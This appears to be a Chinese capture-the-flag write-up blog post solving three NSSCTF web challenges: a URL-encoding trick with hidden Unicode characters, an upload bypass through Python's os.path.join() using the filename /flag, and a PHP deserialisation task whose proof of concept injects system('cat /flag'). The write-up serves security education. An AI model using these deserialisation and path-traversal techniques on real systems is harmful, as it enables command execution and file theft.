NSSCTF-Web题目6

目录

[[NISACTF 2022]checkin](#[NISACTF 2022]checkin)

1、题目

2、知识点

3、思路

[[NISACTF 2022]babyupload](#[NISACTF 2022]babyupload)

1、题目

2、知识点

3、思路

[[SWPUCTF 2022 新生赛]1z_unserialize](#[SWPUCTF 2022 新生赛]1z_unserialize)

1、题目

2、知识点

3、思路


[NISACTF 2022]checkin

1、题目
2、知识点

010编辑器的使用、url编码

3、思路

打开题目,得到源码

审计代码,题目需要我们上传两个变量的内容,根据题目输入,结果没有出现flag,题目有提示,复制源码,用010Editor打开

发现多了很多内容,难怪会没有出现flag

我们将需要上传的内容的16进制加上%重新上传

第一个参数的内容是正常的,构造出来的payload为

http://node5.anna.nssctf.cn:26298/**?ahahahaha=jitanglailo\&‮⁦Ugeiwo⁩⁦cuishiyuan=‮⁦ Flag!⁩⁦N1SACTF**

得到flag:NSSCTF{09918f4c-0337-4344-84a3-33c306a12e9e}


[NISACTF 2022]babyupload

1、题目
2、知识点

php代码审计、os.path.join()函数

3、思路

打开题目,上传一个文件,发现上传不了

正常的文件都上传不了,右键查看源代码

发现有一个页面,访问该页面,下载一个www.zip包,打开里面的python程序,发现是代码

对代码进行审计

那这就有点意思了,正常文件都是有后缀名的,有. 的,要怎么绕过呢?

往下翻,发现os.path.join()函数

os.path.join()

作用:用于拼接文件路径,可以传入多个路径,传入文件时,

如果没有以"/"开始的参数,函数会自动加上,

如果是以"/"为开始的参数,函数会从最后一个"/"开始拼接,之前的全部舍弃。

同时存在以''./'与''/''开始的参数,以''/'为主,从最后一个以"/"开头的参数开始拼接,之前的参数全部丢弃。

只存在以''./'开始的参数,会从"./"开头的参数的上一个参数开始拼接。

一般flag都是命名为flag文件,放在根目录下,我们可以上传一个文件,改名为/flag,利用os.path.join()这个函数

注意要放包

得到flag:NSSCTF{9485af6f-488e-46a9-91cc-e7b879c23d00}


[SWPUCTF 2022 新生赛]1z_unserialize

1、题目
2、知识点

php反序列化

3、思路

审计代码

__destruct()

会将对象被调用完后进行销毁,也就是代码执行完后执行

->用来引用一个类的属性(变量)、方法(函数)

$a = $this->lt;

将lt的值赋给变量a
$a($this->lly);

加入a是一个函数,想当于a(lly)

所以,我们可以构造系统执行命令,system(cat /flag)

system()赋给lt,cat /flag给lly,这样就可以得到flag了,POC如下

<?php

class lyh{

public $url = 'NSSCTF.com';

public $lt='system';

public $lly='cat /flag';

}

$poc=new lyh();

echo serialize($poc);

?>

POST方式上传nss参数的内容

得到flag:NSSCTF{b17cd668-888d-4a73-8881-8e2c2120ea87}


这篇文章就写到这里,哪里不足的或者不懂的欢迎批评指出

相关推荐
Clockwiseee1 小时前
RCE常见姿势
安全·web安全·网络安全
网络安全(king)4 小时前
网络安全攻防学习平台 - 基础关
网络·学习·web安全
Hacker_Nightrain5 小时前
网络安全与加密
安全·web安全
网安墨雨7 小时前
浅谈TARA在汽车网络安全中的关键角色
网络·web安全·汽车
网安-轩逸7 小时前
汽车网络安全渗透测试
安全·web安全·汽车
黑客Jack8 小时前
什么是网络安全审计?
网络·安全·web安全
hking1119 小时前
upload-labs关卡记录5
web安全·php
网络安全queen9 小时前
【D03】SNMP、NETBIOS和SSH
运维·网络·web安全·ssh
士别三日wyx11 小时前
HW护网分析研判思路,流量告警分析技巧
安全·web安全·网络安全
茶颜悦色vv12 小时前
Wireshark(1)
网络·web安全·网络安全·wireshark